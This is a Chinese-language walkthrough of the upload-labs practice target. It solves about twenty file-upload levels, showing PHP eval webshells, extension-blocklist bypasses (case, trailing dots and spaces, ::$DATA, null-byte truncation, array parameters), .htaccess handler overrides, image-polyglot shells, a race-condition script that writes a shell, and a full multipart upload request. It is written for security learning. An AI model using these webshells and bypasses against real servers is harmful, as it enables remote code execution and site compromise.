2025 upload-labs 文件上传漏洞通关以及WriteUP包含注意事项(详细版)

介绍

Upload-labs 是一款专注于文件上传漏洞学习与实战的 Web 安全靶机,旨在帮助学习者掌握漏洞原理、绕过技巧及对应的防御方案。
Upload-labs 比较依赖于环境,最好使用Windows靶机,相对会简单很多,很多特性完全考察的是Windows特性,而且很多人的版本不一样,题目顺序也不一样,如果你完全参照我的WP那么可能需要用到这个版本

  • php最好不要大于我这个版本(5.2.17)

Press1-前端绕过

  • 创建shell.jpg
    1
    2
    <?php phpinfo();
    @eval($_POST['cmd']);?>
    将文件上传到靶机并抓包,将HTTP参数中的filename值修改为shell.php后上传

打开图像路径<img src="../upload/shell.php" width="250px" />对应 http://192.168.87.177:8081/upload/shell.php

蚁剑连接

Press2-Mime类型绕过(两种做法)

Mime类型是我们上传文件后,浏览器会嗅探文件后缀,服务器Content-Type响应头来得出结论,但是这是可以被修改的,,随后后端由于完全信息HTTP中的Mime类型导致的判断错误,从而引发漏洞,但是在这一关,反而前端没有对后缀进行约束了,php文件可以上传,只是无法通过后端验证

上传JPG文件的做法

  • 创建shell.jpg
    1
    2
    <?php phpinfo();
    @eval($_POST['cmd']);?>
    将文件上传到靶机并抓包,将HTTP参数中的filename值修改为shell.php后上传

蚁剑连接

上传PHP文件的做法

  • 创建shell.php
    1
    2
    <?php phpinfo();
    @eval($_POST['shell']);?>
  1. 直接上传php文件
  2. 修改Mime类型为图片
    1
    2
    3
    Content-Type: application/octet-stream
    Mime类型由上面变成
    Content-Type: image/jpeg
    上传成功,依旧是phpinfo到建立连接

Press3-Apache或者Nginx文件解析漏洞/特性

方法一

Apache或者Nginx解析文件类型的时候通常由文件后缀决定,例如HTML对于超文本语言解析,css变成装饰器,JS变成脚本代码,php当作php执行,当然也不只是php,例如 phtml,Php,phps,.pht等,当然这是Apache或者Nginx允许的解析,如果未开启相应的解析,同样与txt无异,又或者是文件包含的话,连txt同样一起解析,当然这个包含属于php的特性了,

经过我这里的尝试,由于我在docker环境下,修改起来麻烦,所以这一关我是用了.htaccess文件辅助解析,上传.htaccess文件文件等下,好像不太对,文件被重命名了,那么以为这这个.htaccess文件失效了。那么就只能在想其他办法后面想了很多办法,例如
解析php文件(本身就不允许),php5,php3,pht,phps通通不行,所以这个问题出在我的环境上
创建.htaccess文件

htaccess(Hypertext Access)是Apache Web 服务器特有的一个配置文件,用于实现目录级别的配置管理。它允许开发者在不修改服务器全局配置(如httpd.conf)的情况下,对特定目录(及子目录)的 Web 服务行为进行自定义,让其将图片解析为php代码

  • URL 重写(最常用)
  • 自定义错误页面
  • 访问控制
  • 设置 HTTP 响应头
1
AddType application/x-httpd-php .php .phtml .php3 .php5 .jpg


进入靶机内部,将刚才被重命名的202510140712482480.htaccess文件重命名为.htaccess(迫不得已了)

所以.phtml文件也顺利成章的解析出来了,蚁剑正常连接

方法二

打开httpd.conf文件,去掉下面的注释,增加一些解析

1
2
3
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
AddType application/x-httpd-php .php .phtml php5

将php木马改为phtml上传

我们发现.html文件解析了php脚本

蚁剑正常连接

Press4-黑名单验证 .htaccess绕过

本关的思路是使用.htaccess文件,虽然代码中过滤了一些后缀,但是不重要,通过.htaccess文件我们甚至可以将.txt文件执行成php文件

创建.htaccess

1
AddType application/x-httpd-php .php .phtml .php3 .php5 .jpg
  1. 上传代码文件 .htaccess文件
  2. 上传JPG格式的伪图片马

代码执行成功

蚁剑连接成功

Press5-黑名单绕过-点号绕过

大概查看源代码

当图像上传后,经过黑名单,但是整体的逻辑有问题

  1. 先删除文件名末尾的点
  2. 然后找点 “.”出现的位置

    但这些做法都在黑名单检测前,检测的时候由于格式不一致,所以绕过了黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
  1. 创建文件Getshell.php
    1
    2
    <?php phpinfo();
    @eval($_POST['shell']);?>
  2. 上传木马

    将filename改为Getshell.php. .,

phpinfo()执行成功

蚁剑连接成功

Press6-黑名单验证·大小写绕过

后端未对文件名进行strtolower()转小写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

文件上传测试成功

蚁剑连接成功

Press7-黑名单验证-空格绕过

Windows做这个挺简单的,Windows会自动去除尾部的空格

观察源代码,这个代码最主要的问题是没有去除尾部的空格使用trim()方法,所以导致了绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

上传文件
“shell.php (注意空格,不要编码%20就是一个纯空格)”

phpinfo执行成功

蚁剑连接成功

Press8-黑名单验证-单点号绕过

就是没有去除后缀名后的点,导致的失陷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

文件上传成功

phpinfo执行成功

蚁剑连接成功

Press9-黑名单验证-$DATA特殊符号绕过

源码也就是未过滤$DATA特殊符号导致的失陷
在 Windows 的 NTFS 文件系统中,存在一种名为 “交替数据流(Alternate Data Streams, ADS)” 的机制,用于在一个文件中存储额外数据。其中,:$DATA是所有文件默认数据流的名称(每个文件至少有一个$DATA数据流)。
NTFS 的特性规定:当文件名中包含:$DATA时,系统会自动忽略该部分,仅识别::$DATA之前的文件名。

故shell.php::$DATA在上传以后变成shell.php,因为Windows计算机会忽略掉::$DATA

使用该木马时候删除::DATA后缀,蚁剑连接亦是如此,因为Windows自动忽略了

Press10-黑名单验证-双点绕过(与第五关有重合,或者说完全一样)

上传抓包修改filename = “shell.php. .”

phpinfo执行成功

蚁剑连接成功

Press11-黑名单验证-双写绕过

查看源代码,仍然是在过滤之前做的清理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

上传文件为shell.pphphp

phpinfo执行成功

蚁剑连接成功

Press12-白名单验证-GET路径截断绕过

  1. 切换PHP版本为5.2.17(<5.3.4);

  2. 打开php.ini,设置magic_quotes_gpc = Off,重启服务。

  3. 准备shell.jpg伪图片马,上传抓包;

  4. 在BP中找到GET参数(如?save_path=upload/),改为?save_path=upload/cmd.php%00;

  5. 确保filename=”shell.jpg”(符合白名单);

  6. 放包后,路径被%00截断为upload/shell.php,文件保存为shell.php;

  7. 蚁剑连接时,去掉%00后的内容,即可成功。

Press13-白名单验证-POST路径截断绕过

本质上与12题没区别,都是路径截断

因为post无法识别%00 形式,所以将2b改为00

phpinfo执行成功

蚁剑连接成功

Press14 图片马伪装绕过getimagesize()

准备两个文件

  • 正常图片一张
  • php马一个
  • 将生成的新木马图片上传后使用文件包含执行

1
copy new.jpg /b + shell.php /a = newshell.jpg

phpinfo执行成功

蚁剑连接成功

Press15 与14是一样的

准备两个文件

  • 正常图片一张
  • php马一个
  • 将生成的新木马图片上传后使用文件包含执行

1
copy new.jpg /b + shell.php /a = newshell.jpg

phpinfo执行成功

蚁剑连接成功

Press16-二次渲染

这里我的靶机原本是exif_imagetype()绕过,但是不知为啥有问题,所以就使用了buuctf的靶机
我上传了一个图片马,上传以后保存下来与原图比较,相同的块并不多,但还是存在的,所以将木马放在了相同匹配的地方

蚁剑连接成功

Press17- Session竞争上传

如果我们的文件类型不符合白名单中的后缀,那么就会删除与该文件的链接,但是众所周知,每次上传的文件都会在/tmp文件夹下做暂时停留,但这个不一样,他是先将文件从tmp文件夹下拿出来,在做比较,然后这个代码是先提示,在删除,所以根据这个特性,我们可以竞争下,利用burp的多线程,让我们在它删除文件前访问一次,那么文件就会被保留下来,那么我们想竞争尝试访问一个已知的文件,利用这个已知的文件创建另一个已知的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

创建文件名为file_put.php的脚本,该脚本负责衍生出一个木马

1
<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["cmd"]);?>');?>
  • 第一个线程尝试创建这个文件

  • 第二个线程使用python-request库尝试访问这个文件

蚁剑链接成功

Press18-竞争上传

这个靶机存在问题,没有按照预期放在/upload目录下,所以我们访问的时候需要访问
Upload+文件名 例如 uploadshell.jpg,当然也可以进行修改,不修改的话就不会重命名

将19关的目录下的myupload.php定位$this->cls_upload_dir = $dir,将其改为

1
$this->cls_upload_dir = $dir."/";

由于没有文件包含也不允许上传php文件,况且存在重命名以及靶机本身的错误,所以必须另辟蹊径,脚本利用上面

  • 先是上传文件

  • 使用脚本竞争访问文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests


def main():
url = 'http://192.168.87.189/upload-labs-master/upload-labs-master/uploadshell.jpg'
while True:
res = requests.get(url)
print('no')
if res.status_code == 200:
print('over!')
break


if __name__ == '__main__':
main()

  • 再利用17关的文件包含去访问

Press19-move_uploaded_file()特性-黑名单绕过

move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.,也就是在我们上传文件的时候,在保存文件名哪里使用/.来绕过黑名单,然后被move_uploaded_file()忽略掉/.从而达到上传控制

先上传php文件(木马),然后抓包将save_name的名称改为upload-19.php./

phpinfo执行成功

蚁剑链接成功

Press20-数组绕过-黑名单绕过

还是先看看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

代码执行流程

  • 我们进入第二个if的else块中

当save_name不为空的时候,$FILES数据就会被三维运算符覆盖,如果此时我们上传的是数组,也就是我们会上传两个save_name[0]为”.php”save_name[2]为”png或者jpg”只要在数组中就可以

1
2
3
4
5
6
else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
  • 我们进入后缀名判断这一节

    end会帮助我们取到最后一个键值对,也就是实际上的save_name[2]为”png或者jpg”,那么是正确的,那么按照else块执行下去,最终的$file_name变成$file[count($file) - 1],取前一个键值变成save_name[1]为”Null”,那么reset就有用了,他将数组的键值指向第一位,那么就是save_name[0]为”.php”`,变成我们最终的文件名称

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    $ext = end($file);
    $allow_suffix = array('jpg','png','gif');
    if (!in_array($ext, $allow_suffix)) {
    $msg = "禁止上传该后缀文件!";
    }else{
    $file_name = reset($file) . '.' . $file[count($file) - 1];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH . '/' .$file_name;
    if (move_uploaded_file($temp_file, $img_path)) {
    $msg = "文件上传成功!";
    $is_upload = true;
    } else {
    $msg = "文件上传失败!";
    }
    }
    分析完毕,开始测试
  • 上传一个php文件(木马)
  • 修改save_name参数,让其变成不完整的索引数组,将php作为第一个索引,改为save_name[0],这个数组作为$FILE的完整赋值参数使用,复制一个save_name块,将其改为[2]作为第三个数组,第二个数组留空
  • Content-Type由application/octet-stream改为image/png
  • 上传完成后,Windows会帮助我们处理尾部的.
------geckoformboundary7fa00844074aeb128b46f1931795deeb
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php phpinfo();
@eval($_POST['shell']);?>
------geckoformboundary7fa00844074aeb128b46f1931795deeb
Content-Disposition: form-data; name="save_name[0]"

upload-20.php
------geckoformboundary7fa00844074aeb128b46f1931795deeb
Content-Disposition: form-data; name="save_name[2]"

png
------geckoformboundary7fa00844074aeb128b46f1931795deeb
Content-Disposition: form-data; name="submit"

- 上传文件测试
![](http://markdown.kong.college/server/index.php?s=/api/attachment/visitFile&sign=c288c2fa61d003cadb31ee86cf766fa7)

> phpinfo执行成功

![](http://markdown.kong.college/server/index.php?s=/api/attachment/visitFile&sign=48c8faf27a91ddf70ad6d111695d9f69)

> 蚁剑连接成功

![](http://markdown.kong.college/server/index.php?s=/api/attachment/visitFile&sign=907076fefebd9eb59a72007921a3754e)